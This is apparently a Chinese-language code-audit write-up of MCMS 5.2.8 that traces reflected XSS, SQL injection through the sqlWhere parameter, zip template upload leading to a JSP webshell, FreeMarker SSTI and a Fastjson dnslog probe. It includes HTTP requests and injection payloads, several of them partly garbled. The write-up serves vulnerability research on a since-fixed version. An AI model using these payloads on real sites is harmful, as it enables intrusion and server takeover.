

Java代码审计其一：MCMS 5.2.8

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简介

第一篇Java代码审计文章，有不足之处还请指正。

MCMS 的代码比价简明易懂，作为审计的第一篇比较合适。

MCMS 5.2.8是使用springboot+mybatis开发的CMS，已知漏洞主要是SQL注入、文件上传、SSTI，在最新版已经得到修复。

本文主要体现思路，有些地方可能不够详细。

XSS

思路：前台就一个搜索框，插入XSS代码试试

复现

反射型：前台搜索框，虽然有过滤阻断了search.do并提示：参数异常；但将异常参数拼接到了报错页面。

```
POST //mcms/search.do HTTP/1.1
content_title=<script>alert('/xss/')</script>
```

```
<p style=" clear: both; margin: 30px auto 20px auto;
line-height: 35px; font-size: 20px; color: #999;">
  提示：参数异常:<script>
    alert('/xss/')|
  </script>
</p>
```

源码

```
net/mingsoft/basic/filter/XssHttpServletRequestWrapper.java
```

```
throw new BusinessException("参数异常:"+ content);此处直接将content原样拼接 to 报错中
```

```

public String clean(String name, String content) {
    String result = Jsoup.clean(content, "", whitelist, outputSettings);
    // 转义回来,防止&被转义导致结果误差
    result = Parser.unescapeEntities(result, true);
    if (!content.equals(result) || !SqlInjectionUtil.isSqlValid(content)){
        String uri = SpringUtil.getRequest().getRequestURI();
        LOGGER.debug("接口不符合XSS规则:{}",uri);
        LOGGER.debug("参数名:{} 参数值:{}", name,content);
        throw new BusinessException("参数异常:" + content);
    }
    return content;
}
}


```

SQL注入

思路：MCMS是使用mybatis作为持久层框架的，当在与接口对应的xml文件中使用 `${String}` 时，会将String拼接进SQL语句。还有 `<include>` 标签，会将一段复用的SQL代码拼接入当前语句中。

从这个思路出发，有两类注入，第一种造成的注入多，第二种需要官方的编辑器（因需要注册，不做记录，给出链接<https://gitee.com/mingSoft/MCMS/issues/I61P5X>）

知识点：mybatis的xml有对应java代码interface，xml中的id对应interface中的方法



先给出明确的脉络，方便之后跟进不少的代码

从xml->interface->impl(实现)->Controller->抓包构造

1. XML找 \${

ICategoryDao.xml、ICmsHistoryLogDao.xml、IContentDao.xml都存在 `<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>`，id都为query

例如ICategoryDao.xml

```
<!--条件查询-->
<select id="query" resultMap="resultMap">
    select * from cms_category
    <where>
        <if test="categoryTitle != null and categoryTitle != ''"> and
category_title=#{categoryTitle}</if>
        .....
        <if test="leaf != null"> and leaf=#{leaf}</if>
        <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
    </where>
</select>
```

跟进include中的net.mingsoft.base.dao.IBaseDao.sqlWhere，文件为

net/mingsoft/base/dao/IBaseDao.xml

在jar包中

这里需要注意：

- `${item.field}` 被直接拼接在SQL语句中
- `${item.field}`，item是collection="sqlWhereList"的别名，也就是`\${sqlWhereList.field}`
- 传递的参数sqlWhereList，需要构造的是其中的

field

```
<sql id="sqlWhere" databaseId="mysql">
    <if test="sqlWhereList != null">
        <foreach collection="sqlWhereList" item="item" index="index"
            open="and( " separator=" " close=" )">

            <if test="item.e1 == 'eq'">
                <choose>
                    <when test="item.multiple != null and item.multiple ==
true">
                        FIND_IN_SET("#{item.value}, ${item.field})>0
                    </when>
                    <otherwise>
                        ${item.field} = #{item.value}
                    </otherwise>
                </choose>
            </if>
            .....//下面还用其他的if语句，节省篇幅，不多贴代码
```

2. 找接口及其实现

思路回到ICategoryDao.xml，找select id="query"对应的接口

```
@Component("cmsCategoryDao")
public interface ICategoryDao extends IBaseDao<CategoryEntity> {

    /**
     * 查询当前分类下面的所有子分类
     * @param category 必须存在categoryId categoryParentId
     * @return
     */
    public List<CategoryEntity> queryChildren(CategoryEntity category);

}
```

没有query，去父接口IBaseDao，注意是List类型


```
public interface IBaseDao<E> extends BaseMapper<E> {
    ...
    List<E> query(BaseEntity entity);
    ...
}
```

找实现query的类，有三个，但只有一个接收传参

net/mingsoft/base/biz/impl/BaseBizImpl.java
``

```
public abstract class BaseBizImpl<M extends BaseMapper<T>,T> extends
ServiceImpl<M,T> implements IBaseBiz<T> {
    ...
    @Override
    public List<T> query(BaseEntity entity) {
        // TODO Auto-generated method stub
        return getDao().query(entity);
    }
    ...
}
```

这是个抽象类，继续找，红线上为库中的，红线下为项目中的，先看项目中的



以 net/mingsoft/cms/action/CategoryAction.java 为例，获得地址：url为

@RequestMapping("/{ms.manager.path}/cms/category")， {ms.manager.path} 在配置中为ms

```
@Api(tags={"后端-内容模块接口"})
@Controller("cmsCategoryAction")
@RequestMapping("/{ms.manager.path}/cms/category")
public class CategoryAction extends BaseAction {
    .....
    @RequestMapping(value="/list",method = {RequestMethod.GET,
    RequestMethod.POST})
    @ResponseBody
    @RequiresPermissions("cms:category:view")
    public ResultData list(@ModelAttribute @ApiIgnore CategoryEntity category) {
        BasicUtil.startPage();
        List categoryList = categoryBiz.query(category);
        return ResultData.build().success(new EUListBean(categoryList,(int)
        BasicUtil.endPage(categoryList).getTotal()));
    }
    .....
}
```

找到了query， categoryBiz.query；还没找到它的参数sqlWhereList，看看CategoryEntity，没有

```
public class CategoryEntity extends BaseEntity {}
```

看父类BaseEntity，找到sqlWhereList和SQLWhere，SQLWhere是[{}]形式，这里还看到一个眼熟的东西，JSONObject.parseArray，那么会不会有JSONObject.parse呢？

```
public abstract class BaseEntity implements Serializable{
    ...

    /**
     * 自定义SQL where条件，需要配合对应dao.xml使用
     */
    @JsonIgnore
    @XmlTransient
    @TableField(exist = false)
    protected String sqlWhere;
```

```

@JsonIgnore
@XmlTransient
public String getSqlWhere() {
    return sqlWhere;
}

public void setSqlWhere(String sqlWhere) {
    this.sqlWhere = sqlWhere;
}

@JsonIgnore
@XmlTransient
public List getSqlWhereList() {
    if(StringUtils.isNotBlank(sqlWhere)){
        try {
            return JSONObject.parseArray(sqlWhere,Map.class);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    return Collections.EMPTY_LIST;
}
...
}

```

3. 该抓包了

去网站后台看看有没有构造查询条件的地方 ICategoryDao.xml、ICmsHistoryLogDao.xml、IContentDao.xml，这三个对应的是分类、日志、内容

sqlWhere指的是条件查询，就去后台找找条件查询的地方



```

1 HTTP/1.1 200
2 Content-Disposition: inline; filename=f.txt
3 Content-Type: application/json
4 Date: Sun, 12 Mar 2023 14:17:19 GMT
5 Connection: close
6 Content-Length: 96
7
8 {
9   "result": true,
10  "code": 200,
11  "data": {
12    "total": 0,
13    "rows": [
14    ]
15  }
16 }

```

有sqlWhere, 解码, 找到field

```
[{"action": "and", "field": "content_title", "el": "eq", "model": "contentTitle", "name": "æç« æ éç", "type": "input", "value": "aaaaaaaaaaaaa"}]
```

4. 构造

idea console有语句，没有也可监听MySQL的日志

```
net.mingsoft.cms.dao.IContentDao.query_COUNT:137 : ==> Preparing: SELECT
count(0) FROM (SELECT ct.*, cc.category_path FROM cms_content ct JOIN
cms_category cc ON ct.category_id = cc.id WHERE ct.del = 0 AND (content_title =
?)) ct
net.mingsoft.cms.dao.IContentDao.query_COUNT:137 : ==> Parameters:
aaaaaaaaaaaaa(String)
net.mingsoft.cms.dao.IContentDao.query_COUNT:137 : <==          Total: 1
SELECT count(0) FROM (SELECT ct.*, cc.category_path FROM cms_content ct JOIN
cms_category cc ON ct.category_id = cc.id WHERE ct.del = 0 AND (content_title =
aaaaaaaaaaaaa)) ct
```

直接用报错注入就好

[illegible]

```
["action": "and", "field": "updatesxml[1,concat(0x7e(select user()0x7e),1)", "eq": "eq", "model": "contentid", "name": "aIUQe aUleU", "type": "input", "value": "aaaaa  
aaaaaaa"]]
```


5. 测试其他

Usages of query(BaseEntity) — Results in 'Project and Libraries'			Found 20 usages
LogAction	list(LogBean, HttpServletResponse, HttpServletRequest, ModelMap, BindingResult)	101	List<LogEntity> logList = logBiz.query(log);
RoleAction	list(RoleEntity, HttpServletResponse, HttpServletRequest, ModelMap)	110	List roleList = roleBiz.query(role);
RoleAction	all(RoleEntity, HttpServletResponse, HttpServletRequest, ModelMap)	132	List roleList = roleBiz.query(role);
CityAction	list(CityEntity, HttpServletResponse, HttpServletRequest, ModelMap)	72	List cityList = cityBiz.query(city);
CityAction	queryBy(HttpServletResponse, HttpServletRequest)	113	List<CityEntity> cityList = (List<CityEntity>) cityBiz.query(city);
ConfigAction	list(ModelEntity, HttpServletResponse, HttpServletRequest)	97	List modelList = modelBiz.query(modelEntity);
DictAction	list(DictEntity, HttpServletResponse, HttpServletRequest, ModelMap)	157	List dictList = dictBiz.query(dict);
DictAction	dictList(DictEntity, HttpServletResponse, HttpServletRequest, ModelMap)	194	list.add(dictBiz.query(dict));
ModelAction	list(ModelEntity, HttpServletResponse, HttpServletRequest, ModelMap, BindingResult)	130	List modelList = modelBiz.query(modelEntity);
PageAction	list(PageEntity, HttpServletResponse, HttpServletRequest, ModelMap)	109	List pageList = pageBiz.query(page);
DictAction	list(DictEntity, HttpServletResponse, HttpServletRequest)	108	List dictList = dictBiz.query(dict);
DictUtil	list(String)	37	return (List<DictEntity>) SpringUtil.getBean(DictBiz.class).query(dict);
CategoryAction	list(CategoryEntity)	92	List categoryList = categoryBiz.query(category);
CategoryAction	save(CategoryEntity)	172	List<CategoryEntity> query = categoryBiz.query(category);
CategoryAction	update(CategoryEntity)	250	List<CategoryEntity> query = categoryBiz.query(category);
ContentAction	list(ContentBean)	122	List contentList = contentBiz.query(content);
GeneratorAction	generateColumn(HttpServletRequest, HttpServletResponse, String)	163	columns = categoryBiz.query(categoryEntity);
CategoryAction	list(CategoryEntity)	74	List categoryList = categoryBiz.query(category);
ContentAction	list(ContentBean)	90	List contentList = contentBiz.query(content);
CategoryBizImpl	recursionCopyChilds(String, String)	304	List<CategoryEntity> childs = query(category);


红线以下，不放结果了，简单说下，方法为list，且参数为list基本可行，如CategoryAction.list、ConternAcion.List，CategoryAction与ConternAcion在前台有同名类，同名的list，但有xss过滤无法使用select

[illegible]

红线以上, log.list、dict.list可以

6. 还有个方法

搜索 `<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>`, 要下载cms官方jar包的源码



文件上传

模板位置上传

```
/ms/file/uploadTemplate.do
```

```
POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----47287491333038152101055948006
Content-Length: 28095
Origin: http://localhost:8888
Connection: close
Referer: http://localhost:8888/ms/template/index.do?
Cookie: ldea=3efbfaldea3998349-3151-4a64-84ba-631823ef8019; pagema_cookie=1; SHIRO_SESSION_ID=52292314-3d33-4b4f-9c80-4973c0c46e66; rememberMe=

1 HTTP/1.1 200
2 Content-Disposition: inline;filename=f.txt
3 Content-Type: application/json
4 Date: Mon, 13 Mar 2023 11:39:51 GMT
5 Connection: close
6 Content-length: 85
7
8 {
9   "result": true,
10  "code": 200,
11  "data": "/template/1/1678707647809.zip"
12 }
```

打包jsp文件为zip，上传模板即可，前端时间监听，会发送解压请求

```
GET /ms/template/unZip.do?fileUrl=%2Ftemplate%2F1%2F1678707647809.zip HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Pragma: no-cache
token: null
Connection: close
```

如果使用Tomcat运行的项目，访问可getshell，`http://localhost:8888/template/1/xxx.jsp` 代码没什么好看得，正常上传正常解压，没有检验删除，有删除可以试试条件竞争


图片位置上传

还有一处系统设置里的上传网站logo，也是上传zip，这里需要自己调用unZip

```
/ms/file/upload.do 上传后会回显路径
```

```
/ms/template/unZip.do?fileurl=zip路径
```

SSTI：Freemarker模板注入



自定义页面，绑定它，然后访问即可，没有进行安全配置

源码位置net\mingsoft\base\util\FtlUtil.java

如果加上`cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);`漏洞就可以修复，也可以试试Freemarker的include包含模板，可惜在win下没成功

Fastjson <=1.2.80 反序列化 存在但难以利用

复现

只能看看ip，爆下依赖

```
POST /static/plugins/ueditor/1.4.3/jsp/editor.do HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/110.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rememberMe=
oofLxhbb43bgh15oJLx0rIwGt52bVO/fzPoJlNOARuN3V439F5sRg8c2/C1z
X394YCYqf8oGuk7v8 TRH63C11aPPAJ94PCT+bgLA176qf+ja8tU8KuptvE13oSP
rhtTSCBC4oou8tVEM8d1t25ydeBPfmoqE8JvMP855IG1Ry6/fz-B9523MB8g6
2ybWp5QK1V8d8pJNTL1f8WqC1+4b05G1P8vR/jg72y312Wao911Wag0Tob8q11
ItqWau1ThL0V1G0p7TV8Buvy8JMV5Qw+K/1dab5p0CPD1aV9/re1Akh8KCYD0
h3fQwJgMLuab4GUT1B8ss8gJ0X8J70JF1naftu0idWtYGVv6G1ayMDs9120
z954J010H8pE_juq1n/srU/J0R+WP8q46+8+TfQp64yeHTe8N/X702KpgrcUaekY
Fah9uzbvG7h3D+Zawaf8F8n11Hoft1dgnf_ja7fu3Bo5RgnI836c0aSL22zh0t
R1+0LDefWY2FPJ4Qgs2X1R42V8P+gK0Dfpc2f5t2aa0DncfR0k8WY3Mg/1csd4
Qa8aJu7738grb783a0afLDy9PrOpA684qR8P8B3M81K+MB4A6gSLvYV8a1F5
c8TR8p+V77d01V00_jb6L8F6Ujv1Va_jg8b10W+113kumfPJ100z1CVtP8t4cw
f1cJ9v1D8f8v7P+e480u13P1T3T1E1aWb4L_jp8Cv8F8503v8P8uJvALP3d4C
Wq135e8F8v8g8M8Q83T8L1M8u89+e8J8R8D8a8e8h8J8A8K8P+8a8P8u8Y8
T8pL8c+08a8r/+6fH8C8e1T1P8K1n83u8f8C8H8T4J8D8Thy?A8u2Aq1Pe8R
be8DCy8a1z3W852w86J88W73n21Q8P1+8871Y8e8f8e37211W8e87816228w8v8f
c1e4au8W8d8T8n8T8Q8R7aL8e8G8B8q1+7vTy/XL35_jb+8a8au8/2yLw91YtFYu
h8LX501G8K19+aJ2R1q8Tt8a11q0W8nd8F1y8M8F8H8Y8Jc8w8Y861ffw88n
74C1_j8rc8d3th8L8p8W8P8D8e17aJ830/v8p8au8/5Q8t8p8+e82Jy1o8t8W8b8s
aUJ0F8L1L8e8f8H8j18H8T8G8H8S1gnJ8a898D8y8R8X8w8o8aL4C1ThaT8e8Cb8v
P8K8f8a8T8+8J8w8f8Th8h8G8c7g7d8A8v8L8eJ1P8R8g8d8e8M897c818032Q8
R8e8ua838vP1U11704+u8M8e8L058J1M8E1D8+v8g8f8w8H7v8a8T8j8y8M8f8v4a8
u0L40c5M8B8A8B8: pageno_cookie=1_S8I8R8_S8S8I8N_ID=
191378f8-37b2-4682-b83c-0b235989c1d8
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0
```

post参数jsonConfig=

```
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":
{"@type":"java.net.InetSocketAddress":{"address":,"val":"xxxxxxx.dnslog.cn"}}}
```

源码

net\mingsoft\basic\action\web\EditorAction.java Map<String, Object> map = (Map<String, Object>) JSONObject.parse(jsonConfig); //直接解析了jsonConfig

URL: @RequestMapping("/static/plugins/ueditor/{version}/jsp"), 需要version

```
/**
 * 百度编辑器上传
 *
 * @author 铭软开发团队
 * @date 2019年7月16日
 * 历史修订 2022-1-21 新增normalize(),
 * editor()方法过滤非法上传路径
 */
@ApiIgnore
```

```

@Controller("ueAction")
@RequestMapping("/static/plugins/ueditor/{version}/jsp")
public class EditorAction {

    @ResponseBody
    @RequestMapping(value = "editor", method = {RequestMethod.GET,
RequestMethod.POST})
    public String editor(HttpServletRequest request, HttpServletResponse
response, String jsonConfig) {
        String uploadFloderPath = MSProperties.upload.path;
        String rootPath = BasicUtil.getRealPath(uploadFloderPath);
        jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFloderPath);
        //过滤非法上传路径
        Map<String, Object> map = (Map<String, Object>)
JSONObject.parse(jsonConfig);
        //直接解析了jsonConfig

```

ms-basic-2.1.13.2.jar!\WEB-INF\manager\include\head-file.ftl 可以看到{version}版本1.4.3.3

```

//百度编辑器默认配置
ms.editorConfig={
    imageScaleEnabled :true,
    autoHeightEnabled: true,
    autoFloatEnabled: false,
    scaleEnabled: true,
    compressSide:0,
    maxImageSideLength:1000,
    maximumWords: 2000,
    initialFrameWidth: '100%',
    initialFrameHeight: 400,
    serverUrl: ms.base + "/static/plugins/ueditor/1.4.3.3/jsp/editor.do?
jsonConfig=%7BvideoUrlPrefix:'\\',fileManagerListPath:'\\',imageMaxSize:20480000
0,videoMaxSize:204800000,fileMaxSize:204800000,fileUrlPrefix:'\\',imageUrlPrefix
:'\\',imagePathFormat:'/${appId}/cms/content/editor/%7Btime%7D\\',filePathFormat
:'/${appId}/cms/content/editor/%7Btime%7D\\',videoPathFormat:'/${appId}/cms/con
tent/editor/%7Btime%7D\\'%7D",
    UEDITOR_HOME_URL: ms.base + '/static/plugins/ueditor/1.4.3.3/'
}

```

mcms5.3.0 换了json解析的依赖

总结

这些漏洞都比较好发现，只取决于是否知道对应的知识点。如果有遗漏的漏洞，还请多多指教。